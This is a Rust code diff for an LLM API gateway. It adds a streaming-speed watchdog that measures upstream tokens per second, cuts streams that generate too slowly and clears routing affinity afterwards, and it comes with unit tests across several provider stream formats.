+/// The ranges the columns allow, checked again where the row is read.
+pub const TOKENS_PER_SEC: std::ops::RangeInclusive<u32> = 1..=1000;
+pub const WINDOW_SECS: std::ops::RangeInclusive<u32> = 5..=120;
+
+/// A pause this long or longer is left out of a `window`: a quarter of
+/// it, at most [`LONG_PAUSE_MAX`].
+pub fn long_pause(window: Duration) -> Duration {
+    (window / 4).min(LONG_PAUSE_MAX)
+}
+
+/// The slowest generation a provider's streams may keep up.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub struct MinSpeed {
+    pub tokens_per_sec: u32,
+    pub window_secs: u32,
+}
+
+impl MinSpeed {
+    /// From the provider row: `None` when off, or when a value is out of
+    /// range (the columns' CHECKs keep that from happening).
+    pub fn from_row(tokens_per_sec: Option<i32>, window_secs: i32) -> Option<Self> {
+        let tokens_per_sec = u32::try_from(tokens_per_sec?).ok()?;
+        let window_secs = u32::try_from(window_secs).ok()?;
+        (TOKENS_PER_SEC.contains(&tokens_per_sec) && WINDOW_SECS.contains(&window_secs)).then_some(
+            Self {
+                tokens_per_sec,
+                window_secs,
+            },
+        )
+    }
+
+    fn window(&self) -> Duration {
+        Duration::from_secs(u64::from(self.window_secs))
+    }
+}
+
+/// Text tokens, estimated as the desktop gateway does: four ASCII bytes
+/// to a token, one token for any other character.
+#[derive(Debug, Default, Clone, Copy)]
+struct Text {
+    ascii: u64,
+    other: u64,
+}
+
+impl Text {
+    fn add(&mut self, s: &str) {
+        for &b in s.as_bytes() {
+            if b.is_ascii() {
+                self.ascii += 1;
+            } else if b & 0xC0 != 0x80 {
+                // A character's first byte; continuation bytes are 10xxxxxx.
+                self.other += 1;
+            }
+        }
+    }
+
+    fn tokens(&self) -> u64 {
+        self.ascii.div_ceil(4) + self.other
+    }
+}
+
+/// A reasoning block under way.
+#[derive(Debug, Clone, Copy)]
+struct Phase {
+    /// The block's index, when its start was seen.
+    index: Option<usize>,
+    since: Instant,
+    /// Its reasoning is streamed as generated, not summarised: it counts.
+    raw: bool,
+}
+
+/// One stream's speed, fed the upstream's bytes as they arrive.
+pub struct SpeedWatch {
+    min: MinSpeed,
+    upstream: Dialect,
+    reader: Reader,
+    frames: frame::Decoder,
+    text: Text,
+    /// Tokens already put down in `arrivals`.
+    counted: u64,
+    /// When the first content arrived.
+    first: Option<Instant>,
+    /// The upstream said the answer is done: what it sends or keeps open
+    /// after that is not generation.
+    done: bool,
+    /// Each piece of visible content: when, and how many tokens it
+    /// brought. The window's, plus the last one before it (the pause that
+    /// runs into the window starts there).
+    arrivals: VecDeque<(Instant, u64)>,
+    /// The reasoning block under way, if any.
+    phase: Option<Phase>,
+    /// Summarised reasoning phases that ended: from, to.
+    summarised: VecDeque<(Instant, Instant)>,
+}
+
+impl SpeedWatch {
+    pub fn new(min: MinSpeed, upstream: Dialect) -> Self {
+        Self {
+            min,
+            upstream,
+            reader: Reader::new(upstream),
+            frames: frame::Decoder::default(),
+            text: Text::default(),
+            counted: 0,
+            first: None,
+            done: false,
+            arrivals: VecDeque::new(),
+            phase: None,
+            summarised: VecDeque::new(),
+        }
+    }
+
+    pub fn min(&self) -> MinSpeed {
+        self.min
+    }
+
+    /// Whether there is anything to judge: the first token is in, and the
+    /// upstream has not said the answer is done.
+    pub fn started(&self) -> bool {
+        self.first.is_some() && !self.done
+    }
+
+    /// Reasoning in this format streams as generated, unless the frames
+    /// say otherwise (Responses).
+    fn raw_by_default(&self) -> bool {
+        self.upstream == Dialect::Chat
+    }
+
+    /// A piece of the upstream's stream (SSE, in its own format) arrived
+    /// at `now`.
+    pub fn feed(&mut self, chunk: &[u8], now: Instant) {
+        // The frames say what the parsed events do not: which reasoning a
+        // Responses delta is, and the format's last frame.
+        let mut raw_reasoning = false;
+        for f in self.frames.feed(chunk) {
+            if tw_dialect::convert::ends_answer(self.upstream, &f) {
+                self.done = true;
+            }
+            if self.upstream == Dialect::Responses && is_raw_reasoning(&f) {
+                raw_reasoning = true;
+            }
+        }
+        let mut visible = false;
+        for e in self.reader.feed(chunk) {
+            match e {
+                Event::BlockStart {
+                    index,
+                    kind: BlockKind::Thinking,
+                } => self.open_phase(Some(index), now),
+                Event::BlockStop { index } => {
+                    if self.phase.is_some_and(|p| p.index == Some(index)) {
+                        self.close_phase(now);
+                    }
+                }
+                Event::Delta {
+                    delta: Delta::Thinking(t),
+                    ..
+                } if !t.is_empty() => {
+                    self.first.get_or_insert(now);
+                    if self.phase.is_none() {
+                        self.open_phase(None, now);
+                    }
+                    if let Some(p) = self.phase.as_mut() {
+                        p.raw |= raw_reasoning;
+                        if p.raw {
+                            self.text.add(&t);
+                            visible = true;
+                        }
+                    }
+                }
+                Event::Delta {
+                    delta: Delta::Text(t) | Delta::ToolInput(t),
+                    ..
+                } if !t.is_empty() => {
+                    // The answer began: any reasoning before it is over.
+                    if self.phase.is_some() {
+                        self.close_phase(now);
+                    }
+                    self.text.add(&t);
+                    visible = true;
+                }
+                Event::Stop(_) => self.done = true,
+                _ => {}
+            }
+        }
+        if visible {
+            self.arrived(now);
+        }
+    }
+
+    fn open_phase(&mut self, index: Option<usize>, now: Instant) {
+        if self.phase.is_some() {
+            self.close_phase(now);
+        }
+        self.phase = Some(Phase {
+            index,
+            since: now,
+            raw: self.raw_by_default(),
+        });
+    }
+
+    fn close_phase(&mut self, now: Instant) {
+        if let Some(p) = self.phase.take()
+            && !p.raw
+        {
+            self.summarised.push_back((p.since, now));
+        }
+    }
+
+    /// A summarised reasoning phase is open.
+    fn summarising(&self) -> bool {
+        self.phase.is_some_and(|p| !p.raw)
+    }
+
+    fn arrived(&mut self, now: Instant) {
+        let total = self.text.tokens();
+        let tokens = total.saturating_sub(self.counted);
+        self.counted = self.counted.max(total);
+        self.first.get_or_insert(now);
+        self.arrivals.push_back((now, tokens));
+    }
+
+    /// The speed over the last window, in tokens per second, when it is
+    /// below the minimum at `now` — `None` when it is not, or when it is
+    /// not to be judged (see the module docs).
+    pub fn too_slow(&mut self, now: Instant) -> Option<u32> {
+        if self.done || self.summarising() {
+            return None;
+        }
+        // The burst that catches up is waited for.
+        let last = self.arrivals.back()?.0;
+        if now.saturating_duration_since(last) > CATCH_UP {
+            return None;
+        }
+        let rate = self.rate(now)?;
+        (rate < f64::from(self.min.tokens_per_sec)).then(|| rate.floor() as u32)
+    }
+
+    /// The speed over the last window at `now`, when there is enough of
+    /// the window left to judge it.
+    fn rate(&mut self, now: Instant) -> Option<f64> {
+        let first = self.first?;
+        let window = self.min.window();
+        if now.saturating_duration_since(first) < window {
+            return None;
+        }
+        let start = now - window;
+        // Keep one arrival at or before the window's start: a pause that
+        // runs into the window is measured from it.
+        while self.arrivals.len() >= 2 && self.arrivals[1].0 <= start {
+            self.arrivals.pop_front();
+        }
+        while self.summarised.front().is_some_and(|(_, to)| *to <= start) {
+            self.summarised.pop_front();
+        }
+        let tokens: u64 = self
+            .arrivals
+            .iter()
+            .filter(|(at, _)| *at > start)
+            .map(|(_, n)| n)
+            .sum();
+        // Left out: the long gaps between arrivals (and from the last one
+        // to now), and the summarised reasoning phases.
+        let pause = long_pause(window);
+        let ends = self
+            .arrivals
+            .iter()
+            .map(|(at, _)| *at)
+            .skip(1)
+            .chain(std::iter::once(now));
+        let mut out: Vec<(Instant, Instant)> = self
+            .arrivals
+            .iter()
+            .map(|(at, _)| *at)
+            .zip(ends)
+            .filter(|(from, to)| to.saturating_duration_since(*from) >= pause)
+            .chain(self.summarised.iter().copied())
+            .chain(self.phase.filter(|p| !p.raw).map(|p| (p.since, now)))
+            .map(|(from, to)| (from.max(start), to.min(now)))
+            .filter(|(from, to)| to > from)
+            .collect();
+        out.sort();
+        let mut left_out = Duration::ZERO;
+        let mut reach = start;
+        for (from, to) in out {
+            let from = from.max(reach);
+            if to > from {
+                left_out += to - from;
+                reach = to;
+            }
+        }
+        let measured = window.saturating_sub(left_out);
+        if measured < window / 2 {
+            return None;
+        }
+        Some(tokens as f64 / measured.as_secs_f64())
+    }
+}
+
+/// A Responses frame of reasoning streamed as generated
+/// (`response.reasoning_text.delta`), named by its event or its `type`.
+fn is_raw_reasoning(f: &frame::Frame) -> bool {
+    const RAW: &str = "response.reasoning_text.delta";
+    match &f.event {
+        Some(e) => e == RAW,
+        None => {
+            f.data.contains(RAW)
+                && serde_json::from_str::<serde_json::Value>(&f.data)
+                    .ok()
+                    .is_some_and(|v| v.get("type").and_then(|t| t.as_str()) == Some(RAW))
+        }
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use serde_json::{Value, json};
+
+    fn secs(n: f64) -> Duration {
+        Duration::from_secs_f64(n)
+    }
+
+    fn min(tokens_per_sec: u32, window_secs: u32) -> MinSpeed {
+        MinSpeed {
+            tokens_per_sec,
+            window_secs,
+        }
+    }
+
+    fn chat_delta(delta: Value, finish: Option<&str>) -> Vec<u8> {
+        format!(
+            "data: {}\n\n",
+            json!({"id": "c", "object": "chat.completion.chunk", "model": "m",
+                   "choices": [{"index": 0, "delta": delta, "finish_reason": finish}]})
+        )
+        .into_bytes()
+    }
+
+    /// A Chat chunk carrying `text`.
+    fn chat(text: &str) -> Vec<u8> {
+        chat_delta(json!({"content": text}), None)
+    }
+
+    /// `tokens` ASCII tokens of text.
+    fn words(tokens: usize) -> String {
+        "abcd".repeat(tokens)
+    }
+
+    /// An SSE frame named by its `type`.
+    fn event(v: Value) -> Vec<u8> {
+        format!("event: {}\ndata: {v}\n\n", v["type"].as_str().unwrap()).into_bytes()
+    }
+
+    fn at(t: Instant, s: f64) -> Instant {
+        t + secs(s)
+    }
+
+    #[test]
+    fn the_row_turns_it_on_only_with_a_speed_in_range() {
+        assert_eq!(MinSpeed::from_row(None, 20), None);
+        assert_eq!(MinSpeed::from_row(Some(15), 20), Some(min(15, 20)));
+        assert_eq!(MinSpeed::from_row(Some(0), 20), None);
+        assert_eq!(MinSpeed::from_row(Some(1001), 20), None);
+        assert_eq!(MinSpeed::from_row(Some(15), 4), None);
+        assert_eq!(MinSpeed::from_row(Some(15), 121), None);
+    }
+
+    #[test]
+    fn a_long_pause_is_a_quarter_of_the_window_and_at_most_five_seconds() {
+        assert_eq!(long_pause(secs(5.0)), secs(1.25));
+        assert_eq!(long_pause(secs(10.0)), secs(2.5));
+        assert_eq!(long_pause(secs(20.0)), secs(5.0));
+        assert_eq!(long_pause(secs(120.0)), secs(5.0));
+    }
+
+    #[test]
+    fn ascii_counts_by_the_quarter_and_other_characters_whole() {
+        let mut t = Text::default();
+        t.add("abcdefgh");
+        assert_eq!(t.tokens(), 2);
+        t.add("你好");
+        assert_eq!(t.tokens(), 4);
+        t.add("é");
+        assert_eq!(t.tokens(), 5);
+    }
+
+    #[test]
+    fn nothing_is_judged_before_the_first_token_or_within_a_window_of_it() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 20), Dialect::Chat);
+        // The opening carries no content.
+        w.feed(&chat_delta(json!({"role": "assistant"}), None), t);
+        assert!(!w.started());
+        assert_eq!(w.too_slow(at(t, 60.0)), None);
+        // A character every half second from 1 s: slow, but not a window yet.
+        for i in 0..40 {
+            w.feed(&chat("a"), at(t, 1.0 + i as f64 * 0.5));
+        }
+        assert!(w.started());
+        assert_eq!(w.too_slow(at(t, 20.9)), None);
+        w.feed(&chat("a"), at(t, 21.0));
+        assert!(w.too_slow(at(t, 21.0)).is_some());
+    }
+
+    #[test]
+    fn a_stream_under_the_minimum_is_cut_with_the_rate_it_had() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 10), Dialect::Chat);
+        // Four tokens a second: two every half second.
+        for i in 0..20 {
+            w.feed(&chat(&words(2)), at(t, i as f64 * 0.5));
+        }
+        assert_eq!(w.too_slow(at(t, 9.9)), None, "not a window yet");
+        for i in 20..24 {
+            w.feed(&chat(&words(2)), at(t, i as f64 * 0.5));
+        }
+        // At 11.5 s the window holds (1.5, 11.5]: 20 arrivals, 40 tokens.
+        assert_eq!(w.too_slow(at(t, 11.5)), Some(4));
+    }
+
+    #[test]
+    fn a_stream_at_the_minimum_runs_on() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 10), Dialect::Chat);
+        for i in 0..60 {
+            let now = at(t, i as f64 * 0.5);
+            w.feed(&chat(&words(5)), now);
+            assert_eq!(w.too_slow(now), None, "at {i}");
+        }
+    }
+
+    #[test]
+    fn a_long_pause_is_left_out_of_the_window() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(15, 20), Dialect::Chat);
+        // 20 tokens a second until 12 s, 6 s of silence, then on.
+        for i in 0..=24 {
+            w.feed(&chat(&words(10)), at(t, i as f64 * 0.5));
+        }
+        for i in 0..=4 {
+            w.feed(&chat(&words(10)), at(t, 18.0 + i as f64 * 0.5));
+        }
+        // (0, 20]: 29 arrivals, 290 tokens. Over 20 s that is 14.5 a
+        // second; without the pause, over 14 s, 20.7.
+        assert_eq!(w.too_slow(at(t, 20.0)), None);
+        assert_eq!(w.rate(at(t, 20.0)).map(f64::round), Some(21.0));
+    }
+
+    /// The pause that counts as long shrinks with the window: a quarter of
+    /// a short one. Five seconds would be half of an 8 s window.
+    #[test]
+    fn a_pause_of_a_quarter_window_is_long() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 8), Dialect::Chat);
+        // 12 tokens a second until 8 s, 2.5 s of silence, then one piece.
+        for i in 0..=16 {
+            w.feed(&chat(&words(6)), at(t, i as f64 * 0.5));
+        }
+        w.feed(&chat(&words(6)), at(t, 10.5));
+        // (2.5, 10.5]: 12 arrivals, 72 tokens, over the 5.5 s that are not
+        // the pause. Counting the pause, 9 a second.
+        assert_eq!(w.too_slow(at(t, 10.5)), None);
+        assert_eq!(w.rate(at(t, 10.5)).map(f64::round), Some(13.0));
+    }
+
+    /// A second whose last content is more than a second old is not
+    /// judged: upstreams hold tokens back and send them in a burst.
+    #[test]
+    fn the_burst_after_a_short_pause_is_waited_for() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 5), Dialect::Chat);
+        // 12 tokens a second until 6 s, then quiet.
+        for i in 0..=12 {
+            w.feed(&chat(&words(6)), at(t, i as f64 * 0.5));
+        }
+        // At 7.2 s, (2.2, 7.2] holds 48 tokens over 5 s — under 10 a
+        // second — but the last of them is 1.2 s old.
+        assert_eq!(w.rate(at(t, 7.2)).map(|r| (r * 10.0).round()), Some(96.0));
+        assert_eq!(w.too_slow(at(t, 7.2)), None);
+        // The burst: the 1.3 s it took is a long pause for a 5 s window.
+        w.feed(&chat(&words(30)), at(t, 7.3));
+        assert_eq!(w.too_slow(at(t, 7.3)), None);
+    }
+
+    #[test]
+    fn a_window_mostly_paused_is_not_judged() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 20), Dialect::Chat);
+        w.feed(&chat("a"), t);
+        w.feed(&chat("a"), at(t, 1.0));
+        // From 1 s to 21 s the stream is silent: nothing is left to judge.
+        w.feed(&chat("a"), at(t, 21.0));
+        assert_eq!(w.too_slow(at(t, 21.0)), None);
+        assert_eq!(w.too_slow(at(t, 21.5)), None);
+    }
+
+    #[test]
+    fn a_pause_running_into_the_window_is_cut_at_its_start() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(1, 10), Dialect::Chat);
+        // Steady until 8 s, silent until 14 s, steady after.
+        for i in 0..=16 {
+            w.feed(&chat(&words(4)), at(t, i as f64 * 0.5));
+        }
+        for i in 0..=12 {
+            w.feed(&chat(&words(4)), at(t, 14.0 + i as f64 * 0.5));
+        }
+        // Window (10, 20]: 4 s of the pause 8 → 14 are in it, 6 s are
+        // measured, and the arrivals at 14..=20 bring 13 × 4 tokens.
+        assert_eq!(
+            w.rate(at(t, 20.0)).map(|r| (r * 100.0).round()),
+            Some(867.0)
+        );
+    }
+
+    #[test]
+    fn reasoning_streamed_as_generated_and_tool_arguments_count() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(1, 5), Dialect::Chat);
+        w.feed(&chat_delta(json!({"reasoning_content": "abcd"}), None), t);
+        w.feed(
+            &chat_delta(
+                json!({"tool_calls": [{"index": 0, "id": "call_1", "type": "function",
+                                       "function": {"name": "ls", "arguments": "{\"a\":1}"}}]}),
+                None,
+            ),
+            t,
+        );
+        assert_eq!(w.counted, 3);
+    }
+
+    /// Gemini's running count includes the thoughts it does not show: one
+    /// that leaps ahead of the text must not leave the text counting for
+    /// nothing.
+    #[test]
+    fn a_count_that_includes_hidden_reasoning_is_not_used() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(2, 5), Dialect::Gemini);
+        let chunk = |text: &str, usage: Option<Value>| {
+            let mut v =
+                json!({"candidates": [{"content": {"role": "model", "parts": [{"text": text}]}}]});
+            if let Some(u) = usage {
+                v["usageMetadata"] = u;
+            }
+            format!("data: {v}\n\n").into_bytes()
+        };
+        w.feed(
+            &chunk(
+                &words(2),
+                Some(json!({"promptTokenCount": 3, "candidatesTokenCount": 2, "thoughtsTokenCount": 2000})),
+            ),
+            t,
+        );
+        // Four visible tokens a second.
+        for i in 1..=16 {
+            let now = at(t, i as f64 * 0.5);
+            w.feed(&chunk(&words(2), None), now);
+            assert_eq!(w.too_slow(now), None, "at {i}");
+        }
+        assert_eq!(w.counted, 34);
+    }
+
+    fn responses(v: Value) -> Vec<u8> {
+        event(v)
+    }
+
+    fn reasoning_item_added() -> Vec<u8> {
+        responses(
+            json!({"type": "response.output_item.added", "output_index": 0,
+                         "item": {"type": "reasoning", "id": "rs_1", "summary": []}}),
+        )
+    }
+
+    fn message_item_added() -> Vec<u8> {
+        [
+            responses(json!({"type": "response.output_item.done", "output_index": 0,
+                             "item": {"type": "reasoning", "id": "rs_1", "summary": []}})),
+            responses(json!({"type": "response.output_item.added", "output_index": 1,
+                             "item": {"type": "message", "id": "msg_1", "role": "assistant", "content": []}})),
+            responses(json!({"type": "response.content_part.added", "output_index": 1, "content_index": 0,
+                             "part": {"type": "output_text", "text": ""}})),
+        ]
+        .concat()
+    }
+
+    fn output_text(text: &str) -> Vec<u8> {
+        responses(
+            json!({"type": "response.output_text.delta", "output_index": 1,
+                         "content_index": 0, "delta": text}),
+        )
+    }
+
+    /// A reasoning summary arrives in bursts while the model reasons at
+    /// full speed: its phase is not judged, and is left out after.
+    #[test]
+    fn a_summarised_reasoning_phase_is_left_out() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 10), Dialect::Responses);
+        w.feed(
+            &[
+                responses(json!({"type": "response.created",
+                                 "response": {"id": "resp_1", "model": "m", "status": "in_progress"}})),
+                reasoning_item_added(),
+            ]
+            .concat(),
+            t,
+        );
+        // A burst of summary every two seconds until 12 s.
+        for i in 0..=6 {
+            let now = at(t, i as f64 * 2.0);
+            w.feed(
+                &responses(json!({"type": "response.reasoning_summary_text.delta",
+                                  "output_index": 0, "summary_index": 0, "delta": words(4)})),
+                now,
+            );
+            assert_eq!(w.too_slow(now), None, "while summarising, at {i}");
+        }
+        // The answer, 12 tokens a second from 12 s.
+        w.feed(&message_item_added(), at(t, 12.0));
+        for i in 1..=10 {
+            let now = at(t, 12.0 + i as f64 * 0.5);
+            w.feed(&output_text(&words(6)), now);
+            assert_eq!(w.too_slow(now), None, "answering, at {i}");
+        }
+        // At 17 s, (7, 17] is 5 s of summary and 5 s of answer: 60 tokens
+        // over 5 s. Counting the summary as content, 60 + 8 over 10 s.
+        assert_eq!(w.rate(at(t, 17.0)).map(f64::round), Some(12.0));
+    }
+
+    #[test]
+    fn reasoning_streamed_as_generated_is_judged() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 5), Dialect::Responses);
+        w.feed(&reasoning_item_added(), t);
+        // Four tokens a second of raw reasoning.
+        let mut cut = None;
+        for i in 0..=14 {
+            let now = at(t, i as f64 * 0.5);
+            w.feed(
+                &responses(json!({"type": "response.reasoning_text.delta",
+                                  "output_index": 0, "content_index": 0, "delta": words(2)})),
+                now,
+            );
+            cut = cut.or(w.too_slow(now));
+        }
+        assert_eq!(cut, Some(4));
+    }
+
+    /// Anthropic's thinking is summarised: a slow trickle of it is not
+    /// judged, however long it lasts.
+    #[test]
+    fn an_anthropic_thinking_block_is_not_judged_while_it_is_open() {
+        let t = Instant::now();
+        let mut w = SpeedWatch::new(min(10, 5), Dialect::Anthropic);
+        w.feed(
+            &[
+                event(
+                    json!({"type": "message_start", "message": {"id": "m", "type": "message",
+                    "role": "assistant", "model": "m", "content": [],
+                    "usage": {"input_tokens": 1, "output_tokens": 1}}}),
+                ),
+                event(json!({"type": "content_block_start", "index": 0,
+                             "content_block": {"type": "thinking", "thinking": ""}})),
+            ]
+            .concat(),
+            t,
+        );
+        for i in 0..=40 {
+            let now = at(t, i as f64 * 0.5);
+            w.feed(
+                &event(json!({"type": "content_block_delta", "index": 0,
+                              "delta": {"type": "thinking_delta", "thinking": "a"}})),
+                now,
+            );
+            assert_eq!(w.too_slow(now), None, "at {i}");
+        }
+        // The block closes and the answer trickles: that is judged.
+        w.feed(
+            &event(json!({"type": "content_block_stop", "index": 0})),
+            at(t, 20.0),
+        );
+        w.feed(
+            &event(json!({"type": "content_block_start", "index": 1,
+                          "content_block": {"type": "text", "text": ""}})),
+            at(t, 20.0),
+        );
+        let mut cut = None;
+        for i in 1..=14 {
+            let now = at(t, 20.0 + i as f64 * 0.5);
+            w.feed(
+                &event(json!({"type": "content_block_delta", "index": 1,
+                              "delta": {"type": "text_delta", "text": words(1)}})),
+                now,
+            );
+            cut = cut.or(w.too_slow(now));
+        }
+        assert_eq!(cut, Some(2));
+    }
+
+    /// An upstream can keep its stream open a while after the answer's
+    /// end, or send its usage later: none of that is generating slowly.
+    /// The end is seen in each format, by its stop reason or its last frame.
+    #[test]
+    fn nothing_is_judged_once_the_answer_is_done() {
+        let t = Instant::now();
+        let ends: [(Dialect, Vec<u8>); 6] = [
+            (Dialect::Chat, chat_delta(json!({}), Some("stop"))),
+            (Dialect::Chat, b"data: [DONE]\n\n".to_vec()),
+            (Dialect::Anthropic, event(json!({"type": "message_stop"}))),
+            (
+                Dialect::Anthropic,
+                event(
+                    json!({"type": "message_delta", "delta": {"stop_reason": "end_turn"},
+                             "usage": {"output_tokens": 9}}),
+                ),
+            ),
+            (
+                Dialect::Responses,
+                responses(json!({"type": "response.completed",
+                                 "response": {"id": "resp_1", "model": "m", "status": "completed", "output": []}})),
+            ),
+            (
+                Dialect::Gemini,
+                format!(
+                    "data: {}\n\n",
+                    json!({"candidates": [{"content": {"role": "model", "parts": [{"text": "a"}]},
+                                           "finishReason": "STOP"}]})
+                )
+                .into_bytes(),
+            ),
+        ];
+        for (dialect, end) in ends {
+            let mut w = SpeedWatch::new(min(1000, 5), dialect);
+            // Some content first, in Chat for every format — only the end
+            // matters here, and the content may not parse as `dialect`.
+            w.first = Some(t);
+            w.arrivals.push_back((t, 1));
+            assert!(w.started());
+            w.feed(&end, at(t, 5.0));
+            assert!(!w.started(), "{dialect:?}");
+            assert_eq!(w.too_slow(at(t, 6.0)), None, "{dialect:?}");
+        }
+    }
+}
diff --git a/crates/gateway/src/proxy/mod.rs b/crates/gateway/src/proxy/mod.rs
index a72563e1..3bd787b5 100644
--- a/crates/gateway/src/proxy/mod.rs
+++ b/crates/gateway/src/proxy/mod.rs
@@ -28,6 +28,7 @@ pub(crate) mod generate;
 mod headers;
 mod identity;
 mod log_ctx;
+pub mod min_speed;
 mod models;
 mod pipeline;
 mod protocol_relearn;
@@ -42,7 +43,9 @@ pub mod transport;
 pub(crate) use accounting::post_flight_account;
 pub(crate) use body_capture::prepare_body_capture;
 pub(crate) use log_ctx::emit_gateway_log_with_extra;
-pub(crate) use routing::{Resend, SelectionRecord, fails as upstream_failed, finalize_health};
+pub(crate) use routing::{
+    Resend, SelectionRecord, fails as upstream_failed, finalize_health, forget_affinity,
+};
 
 // pub re-exports — `server::app` mounts these as route handlers.
 pub use early_cancel::{EarlyCancel, EarlyCancelSlot};
diff --git a/crates/gateway/src/proxy/pipeline.rs b/crates/gateway/src/proxy/pipeline.rs
index 77f9731d..2979054e 100644
--- a/crates/gateway/src/proxy/pipeline.rs
+++ b/crates/gateway/src/proxy/pipeline.rs
@@ -130,9 +130,25 @@ pub(super) fn launch_stream_pump(
         &deps.guards,
         &deps.request,
         &deps.route.provider_name,
+        deps.route.min_speed,
     );
     tokio::spawn(async move {
         let (invoked, sent) = tail.await;
+        // Cut for generating too slowly: the session's next request is not
+        // sent back to the same upstream by its affinity, and the row says
+        // how fast it was going — only when that cut is how the stream
+        // ended, so the row, the route's health and the affinity agree.
+        if let Some(rate) = sent.too_slow.filter(|_| ended_too_slow(&invoked)) {
+            super::forget_affinity(
+                &deps.state.redis,
+                deps.request.identity.user_id.as_deref(),
+                &deps.request.mapped_model,
+                deps.route.provider_id,
+                deps.route.sel_record.picked_route_id,
+            )
+            .await;
+            deps.route.sel_record.too_slow = Some(rate);
+        }
         // A stream that went out again: the route's time is the attempt
         // that ended it, and the row says how many retries there were.
         if sent.retries > 0 {
@@ -149,6 +165,18 @@ pub(super) fn launch_stream_pump(
     response
 }
 
+/// Whether the stream ended because it generated too slowly (see
+/// `super::min_speed`): its outcome, not just the pump's note of the cut.
+fn ended_too_slow(invoked: &Invoked<ChatCompletionSurface>) -> bool {
+    matches!(
+        &invoked.view,
+        CapturedView::Streaming {
+            outcome: crate::lifecycle::StreamOutcome::UpstreamError { error_type, .. },
+            ..
+        } if error_type == "UpstreamTooSlow"
+    )
+}
+
 /// Drive a whole answer through the post-invoke pipeline — cache fill,
 /// audit, breaker, budget debit — and hand it back.
 ///
diff --git a/crates/gateway/src/proxy/routing.rs b/crates/gateway/src/proxy/routing.rs
index 1cb9639a..1d3db53c 100644
--- a/crates/gateway/src/proxy/routing.rs
+++ b/crates/gateway/src/proxy/routing.rs
@@ -91,6 +91,32 @@ pub(super) async fn set_affinity(
         .await;
 }
 
+/// Drop a session's affinity to the route a stream was just cut on for
+/// generating too slowly (see `super::min_speed`): the client's retry goes
+/// where the strategy sends it, not back to the same upstream. Only an
+/// affinity that still points at this route or its provider is dropped —
+/// another request of the session may have moved it since.
+pub(crate) async fn forget_affinity(
+    redis: &fred::clients::Client,
+    user_id: Option<&str>,
+    model: &str,
+    provider_id: Uuid,
+    route_id: Uuid,
+) {
+    use fred::interfaces::KeysInterface;
+    let Some(uid) = user_id else { return };
+    for (mode, id) in [
+        (AffinityMode::Provider, provider_id),
+        (AffinityMode::Route, route_id),
+    ] {
+        let key = format!("affinity:{}:{uid}:{model}", mode.as_str());
+        let held: Option<String> = redis.get(&key).await.ok().flatten();
+        if held.as_deref() == Some(id.to_string().as_str()) {
+            let _: Result<i64, _> = redis.del(&key).await;
+        }
+    }
+}
+
 /// Resolve `(strategy, affinity_mode, affinity_ttl)` for a model:
 /// per-model override falls through to gateway-wide defaults.
 async fn resolve_routing_config(
@@ -305,6 +331,10 @@ pub(crate) struct SelectionRecord {
     /// The request's last attempt was already counted against the route:
     /// a stream whose client left while it waited to go out again.
     pub counted: bool,
+    /// The stream was cut for generating too slowly (see
+    /// `super::min_speed`), at this many tokens per second over its
+    /// window. Said on the log row as `"tokens_per_sec"`.
+    pub too_slow: Option<u32>,
 }
 
 /// Record health for the picked route once the request finishes.
@@ -550,6 +580,7 @@ pub(super) async fn select_route_with_failover<'a>(
                             retries: budget.retries(),
                             effort,
                             counted: false,
+                            too_slow: None,
                         },
                     ));
                 }
@@ -662,6 +693,7 @@ pub(super) async fn select_route_for_stream<'a>(
                 retries: 0,
                 effort: None,
                 counted: false,
+                too_slow: None,
             },
         ));
     }
diff --git a/crates/gateway/src/proxy/shaper.rs b/crates/gateway/src/proxy/shaper.rs
index 39d5c98f..76f659a1 100644
--- a/crates/gateway/src/proxy/shaper.rs
+++ b/crates/gateway/src/proxy/shaper.rs
@@ -331,11 +331,14 @@ mod tests {
 
     /// A ledger that issued `<<TW_EMAIL_1>>` for `a@x.com`, or nothing.
     fn ctx(email: Option<&str>) -> Ledger {
-        let r = crate::redaction::Redaction::new(&tw_guard::policy::RedactPolicy {
-            mode: tw_guard::policy::Mode::Enforce,
-            enable: vec!["email".into()],
-            ..Default::default()
-        });
+        let r = crate::redaction::Redaction::new(
+            &tw_guard::policy::RedactPolicy {
+                mode: tw_guard::policy::Mode::Enforce,
+                enable: vec!["email".into()],
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         let body = serde_json::json!({"messages": [
             {"role": "user", "content": email.unwrap_or("")}
         ]})
@@ -553,10 +556,13 @@ mod tests {
     /// A ledger that issued `<<TW_SECRET_1>>` for a private key, found in a
     /// request body where its line breaks are written `\n`.
     fn pem_ctx() -> Ledger {
-        let r = crate::redaction::Redaction::new(&tw_guard::policy::RedactPolicy {
-            mode: tw_guard::policy::Mode::Enforce,
-            ..Default::default()
-        });
+        let r = crate::redaction::Redaction::new(
+            &tw_guard::policy::RedactPolicy {
+                mode: tw_guard::policy::Mode::Enforce,
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         let body = serde_json::json!({"messages": [{"role": "user", "content": PEM}]}).to_string();
         let ledger = r.look(body.as_bytes(), CHAT).1;
         assert_eq!(ledger.len(), 1);
diff --git a/crates/gateway/src/proxy/transport.rs b/crates/gateway/src/proxy/transport.rs
index 6da9652f..8d301b4f 100644
--- a/crates/gateway/src/proxy/transport.rs
+++ b/crates/gateway/src/proxy/transport.rs
@@ -68,6 +68,9 @@ pub struct Upstream {
     /// The models this upstream refused the cache breakpoints a
     /// conversion adds for (see `proxy::cache_marks`).
     pub(crate) cache_marks: crate::proxy::cache_marks::Refused,
+    /// The slowest generation a stream from this upstream may keep up
+    /// (see `proxy::min_speed`). `None` ⇒ not measured.
+    pub min_speed: Option<crate::proxy::min_speed::MinSpeed>,
 }
 
